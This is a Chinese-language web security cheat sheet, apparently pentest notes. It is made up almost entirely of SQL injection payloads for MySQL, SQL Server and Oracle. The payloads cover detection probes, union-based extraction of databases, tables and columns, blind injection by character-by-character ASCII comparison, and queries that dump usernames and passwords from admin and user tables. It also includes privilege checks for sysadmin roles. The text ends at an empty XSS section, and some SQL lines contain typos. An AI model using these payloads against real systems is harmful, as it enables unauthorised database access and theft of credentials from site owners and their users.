# Web安全
## 0x01SQL注入
### 判断
* `'` / `"`
* `1/1`
* `1/0`
* `and 1=1`
* `" and "1"="1`
* `and 1=2`
* `or 1=1`
* `or 1=`
* `' and '1'='1`
* `+` `-` `^` `*` `%` `/`
* `<<` `>>` `||` `|` `&` `&&`
* `~`
* `!`
* `@`
* 反引号执行
### MYSQL
#### **显注**
```
判断站点表中有多少字段
order by 1#1可以变1-无穷
进行联合查询，来暴露可查询的字段编号
union select 1,2,3
查询当前数据库名
union select 1,database(),3
查询所有数据库名
union select 1,(select group_concat(schema_name) from information_schema.schemata),3
查询当前数据库所有表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='DBname'),3
查询当前表所有字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='DBname' and table_name=TABLEname),3
查询数据
union select 1,(select group_concat(username,0x7e,password,0x7e) from TABLEname),3
拓展
length()函数可返回字符串的长度
select length(database());
substring()函数可以截取字符串，可指定开始的位置和截取的长度
select substring('test',1,3);
ord()函数可以返回单个字符的ASCII码
select substring(database(),1,1);
char()函数可将ASCII码转换为对应的字符
select char(116);
```
#### **盲注**
```
判断数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
判断数据库名
1' and (ascii(substr((/*!database*/()),1,1))>64)#
1' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=1#
判断表名长度
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
判断表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
判断表中的字段数
1' and (select count(column_name) from information_schema.columns where table_name='TABLEname')=1#
判断每个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 0,1),1))=1#
判断字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 3,1),1,1))>97#
爆出数据
判断表中段的长度
1' and (select length(TABLEname) from users where COLUMNname=1)=5#
判断出段中数据名
1' and ascii(substr((select COLUMNSname from TABLEname limit 0,1),1,1))=97#
```
### SQL SERVER
#### **显注**
```
sysdatabases,sysobjects,syscolumns
查询所有的数据库名
select *from master..sysyatabases
查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x'
查询表中所有的列名
select * from databases..table
top和dbid可以一起用也可以只用一个排除默认表
查找回显点
union all select null,null,null;
查找数据库表名称
union select 1,‘2’,db_name()
select top 1 name from master..sysdatabases where dbid>4
获得表名
union select null,name,null from test.sys.sysobjects where xtype = ‘U’
union select top 1 null,name,null from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’
select top 1 name from master..sysdatabases where dbid>4 and name<> 'DBname'
查看对应表有哪些列
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’);
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’) and name !=‘id’ and name !=’…’;
查看列信息
union select top 1 null,username,password from users
union select top 1 null,username,password from users where username !=‘zs’ and username !=’…’
```
#### **盲注**
```
判断是否是mssql
and user>0
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
查询当前用户数据信息
having 1=1–
猜表名
and exists(select * from tablename)
and (Select Count(*) from [表名])>0
猜字段
and (Select Count(字段名) from 表名)>0
暴当前表中的列
group by admin.username having 1=1–
猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
猜字段中的ascii值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access
and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mssql
测试权限结构（mssql）
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
mssql内置函数
and (select @@version)>0 获得Windows的版本号
and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
and (select user_name())>0 爆当前系统的连接用户
and (select db_name())>0 得到当前连接的数据库
```
报错注入[MSSQL数据库注入](http://zone.secevery.com/article/1055)
### ORACLE
#### **显注**
```
order by
union select null,null,null from dual
union select null,null,(select banner from sys.v_$version where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ) from dual
union select null,null,(select table_name from user_tables where rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual
union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN) from dual
union select null,(SELECT USERNAME FROM ADMIN),(SELECT PASSWORD FROM ADMIN) from dual
一些常用的查询语句：
当前用户：
SELECT user FROM dual;
列出所有用户：
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名：
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
```
暂时略，都会更新下来
## 0x02XSS
感谢原作创作不易
### 常用
```